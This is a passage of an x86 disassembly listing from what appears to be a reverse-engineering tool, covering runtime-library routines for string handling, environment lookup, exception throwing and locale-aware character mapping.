ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25C10E4h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426750 proc near jmp near ptr 71B2ACCBh sub_426750 endp ; --------------------------------------------------------------------------- db 0E6h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p jmp near ptr 2840000h sub_42675C endp ; --------------------------------------------------------------------------- db 1Bh ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 265036Ch nop pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2630000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi nop call near ptr 2640000h test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27F116Ah mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27F116Ah test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2800000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 25F0526h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi call near ptr 2600000h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0526h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27F116Ah mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27F116Ah nop test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2600000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: 